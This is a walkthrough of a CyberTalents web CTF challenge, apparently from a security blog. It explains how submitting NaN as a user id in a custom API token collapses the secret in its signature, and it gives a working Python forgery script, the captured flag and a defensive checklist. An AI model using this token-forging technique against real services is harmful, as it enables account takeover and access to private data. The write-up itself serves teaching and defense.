Secure Steps

Cybersecurity assessments, insights, and clear remediation.

Category:

SocialPy CTF Walkthrough — Forging an Authentication Token with NaN

SocialPy CTF Walkthrough — Forging an Authentication Token with NaN

Platform: CyberTalents · Category: Web · Difficulty: Medium
Goal: Read the flag from a private draft post by authenticating as another user.


Challenge

SocialPy is a fictional social network built with Flask. The flag lives in alice’s draft post (id 3, “My draft thoughts”):

This is a draft – only I can see it until I publish. Flag: {flag}

Draft access is enforced everywhere — the feed, profiles, comments, likes and GET /api/posts/<id> all return 404 for drafts not owned by the requester. So the entire challenge reduces to one question: can we authenticate as alice?

The auth surface

The app exposes three authentication mechanisms:

  1. JWT (HS256) — signed with a secret we don’t know.
  2. Session cookie — Flask itsdangerous HMAC-SHA1 over {"user_id": N}, signed with a random per-process SECRET_KEY.
  3. Custom API token — the “integrate from anywhere” feature, and the interesting one.

The API token is the only path that doesn’t require a session. Its format is:

hex(payload_json) + "." + sha256( f"{inner}:{payload_json}" )

where the signature input is computed as:

inner = (API_SECRET ^ user_secret) + user_id

The payload is attacker-controlled JSON: {"sub": <username>, "uid": <user_id>, "iat": <timestamp>}.

Now look closely at the validation logic:

user = User.query.filter_by(username=username).first()   # identity from "sub"
expected_sig = _compute_signature(app_sec, user_sec, user_id, payload_str)

The identity comes from sub, but uid — an attacker-supplied value — is folded into the signature computation. The server’s own user_id is never used. That split is the vulnerability.

The bug: NaN collapses the secret

Python’s json.loads (like most parsers) accepts the non-standard JSON literals NaN, Infinity and -Infinity, producing float('nan') and float('inf').

The signature input is:

inner = (API_SECRET ^ user_secret) + uid

Here’s the IEEE-754 magic:

  • anything + NaN = NaN
  • anything + Infinity = Infinity

So if we submit "uid": NaN, the unknown 1024-bit value API_SECRET ^ user_secret — the one secret we can never recover — collapses into a known constant. f"{inner}" becomes the fixed string "nan":

sig = sha256(("nan:" + payload_str).encode()).hexdigest()

The server recomputes the exact same value, the signatures match, and validate_api_token returns the user named in sub. We can forge a valid token for any username — including alice.

Exploit

import hashlib, json, time, requests

BASE = "http://<target>.cybertalentslabs.com"

def forge(username):
    payload = '{"sub":"%s","uid":NaN,"iat":%d}' % (username, int(time.time()))
    assert isinstance(json.loads(payload)["uid"], float)   # NaN parses
    sig = hashlib.sha256(("nan:" + payload).encode()).hexdigest()
    return payload.encode().hex() + "." + sig

token = forge("alice")
headers = {"Authorization": "Bearer " + token}

me = requests.get(BASE + "/api/auth/me", headers=headers)
print(me.json())                      # alice's profile (id=1)

post = requests.get(BASE + "/api/posts/3", headers=headers)
print(post.json()["body"])            # draft body containing the flag

Result: /api/auth/me returns alice’s profile, and GET /api/posts/3 returns the draft:

Flag{QCFAZldjcFBZTnhzT3p0UFZpSURaZndTbEVSQWRlT2RraEIxbDlCcUpGNXQ4RT02MmY4ZDkyMGJlNWM3NjFk}

Why this worked (the real lesson)

The core flaw is mixing attacker-controlled data into a MAC without constraining its type. Three independent mistakes made it exploitable:

  1. Identity vs. signature input mismatchsub determines who you are, but uid (also client-supplied) participates in the signature. The server should compute the signature over its own authoritative user.id from the database, never from the request.
  2. Lenient JSON parsingNaN/Infinity are not valid JSON, but Python accepts them. A strict parser (or parse_constant=... raising) would have turned the payload into a hard 400.
  3. Unvalidated arithmetic input — even a legitimately-parsed integer uid is dangerous in this design; the safe pattern is to never let the client influence a value that is added to a secret.

Defense checklist for API token / MAC designs:

  • Derive all identity and signing inputs from server-side records.
  • Validate field types strictly (reject non-integer uid, reject non-string sub).
  • Use json.loads(..., parse_constant=lambda x: _raise()) or a strict parser.
  • Prefer HMAC over plain sha256(secret_material + data) constructions, and never concatenate attacker bytes adjacent to secrets without length separation.

Files

  • exploit_nan.py — the working exploit (forged alice token)
  • local_exp.py / local_jwt_test.py — local replicas used to confirm the JWT quirk and the NaN collapse

Writeup of a solved CyberTalents web challenge. All attack surface described here is part of the challenge’s intended vulnerable application.

en_US
Secure Steps
Privacy Overview

This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.